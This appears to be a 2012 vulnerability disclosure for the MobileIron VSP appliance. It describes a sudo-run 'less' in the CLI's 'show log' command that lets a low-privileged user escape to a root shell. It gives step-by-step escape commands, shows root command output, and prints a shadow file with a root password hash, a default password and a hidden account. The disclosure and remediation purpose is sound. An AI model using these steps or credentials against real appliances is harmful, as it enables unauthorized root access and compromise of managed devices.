MobileIron Virtual Smartphone Platform Privilege Escalation Exploit 0day ======================================================================== The MobileIron Virtual Smartphone Platform is the first solution to combine data-driven smartphone and tablet management with real-time wireless cost control. The MDM solution provides an appliance which can be configured through a restrictive web and management shell. A command injection vulnerability within the telnet/SSH shell allows for elevation of privileges to "root" from the low privileged user as well as escaping the restrictive shell. * Description The MobileIron VSP appliance provides a restricted "clish" java application that can be used for performing a minimal amount of configuration and requires an "enable" password for elevated privileges. Probing under the hood of this shell indicates that certain commands are run in the native linux OS with sudo, by using the "show processes" command you can see the commands being used. miadmin 13353 0.0 0.0 63856 1388 pts/1 S+ 14:45 0:00 /bin/bash /mi/bin/cli-view-log --log mi.log root 13399 0.0 0.0 104096 2144 pts/1 S+ 14:45 0:00 /usr/bin/sudo /usr/bin/less mylnk root 13400 0.0 0.0 63600 1024 pts/1 S+ 14:45 0:00 /usr/bin/less mylnk The above command can be triggered from the miadmin user with the "show log" functoinality, as "/usr/bin/less" is then called with root privileges it is possible to quickly elevate privileges to root using !sh as seen in the example here: root@bt:~/MobileIron# ssh -l miadmin 10.x.x.x miadmin@10.x.x.x's password: Last login: Tue Sep 18 14:33:19 2012 from 10.x.x.x ************************************************************ * MobileIron VSP CLI * * * * * ************************************************************ Welcome miadmin it is Tue Sep 18 14:38:46 UTC 2012 vsp@hostname.victim> show log mi.log --log 'mi.log' -- ************************************************************ * MobileIron VSP CLI * * * * * ************************************************************ Welcome root it is Tue Sep 18 14:38:58 UTC 2012 vsp@hostname.victim> As less supports the ability of executing arbitrary commands and piping input it is trivial to gain arbitrary command execution by using pipe with the current file "|m." which will change the less prompt to "!" indicating which program to pipe to and then typing /bin/sh -c "CMD YOU WANT" to be able to execute arbitrary commands with root privileges. You will recieve the command output. --log 'mi.log' -- Linux hostname.victim 2.6.18-308.1.1.el5 #1 SMP Wed Mar 7 04:16:51 EST 2012 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) vsp@hostname.victim> By reviewing the host we can determine that mobileiron also provide a default root username with the password of "admin" in a disabled state (damn...) and a hidden user of "misupport". root:!!$1$3FrxHucD$JL4zVWemZeZJY9LY3PruJ1:15544:0:99999:7::: bin:*:15544:0:99999:7::: daemon:*:15544:0:99999:7::: adm:*:15544:0:99999:7::: lp:*:15544:0:99999:7::: sync:*:15544:0:99999:7::: shutdown:*:15544:0:99999:7::: halt:*:15544:0:99999:7::: mail:*:15544:0:99999:7::: news:*:15544:0:99999:7::: uucp:*:15544:0:99999:7::: operator:*:15544:0:99999:7::: games:*:15544:0:99999:7::: gopher:*:15544:0:99999:7::: ftp:*:15544:0:99999:7::: nobody:*:15544:0:99999:7::: distcache:!!:15544:0:99999:7::: vcsa:!!:15544:0:99999:7::: pcap:!!:15544:0:99999:7::: ntp:!!:15544:0:99999:7::: dbus:!!:15544:0:99999:7::: mailnull:!!:15544:0:99999:7::: smmsp:!!:15544:0:99999:7::: apache:!!:15544:0:99999:7::: sshd:!!:15544:0:99999:7::: haldaemon:!!:15544:0:99999:7::: mysql:!!:15544:::::: postgres:!!:15544:::::: tomcat:!!:15544:::::: clamav:!!:15544:0:99999:7::: misupport:!!:15544:0:99999:7::: miadmin:CENSORED:15544:0:99999:7::: Remedial Action Disable the use of telnet and SSH on VSP appliances and ensure that strong passwords are set for the miadmin account or be assured that all shell users of VSP appliance can obtain full root privileges until a fix is made available. This issue was reported to MobileIron on September 19th 2012 and given a Moderate risk rating. An expected firmware update has been advised that it will be available within 3 months of the reporting date.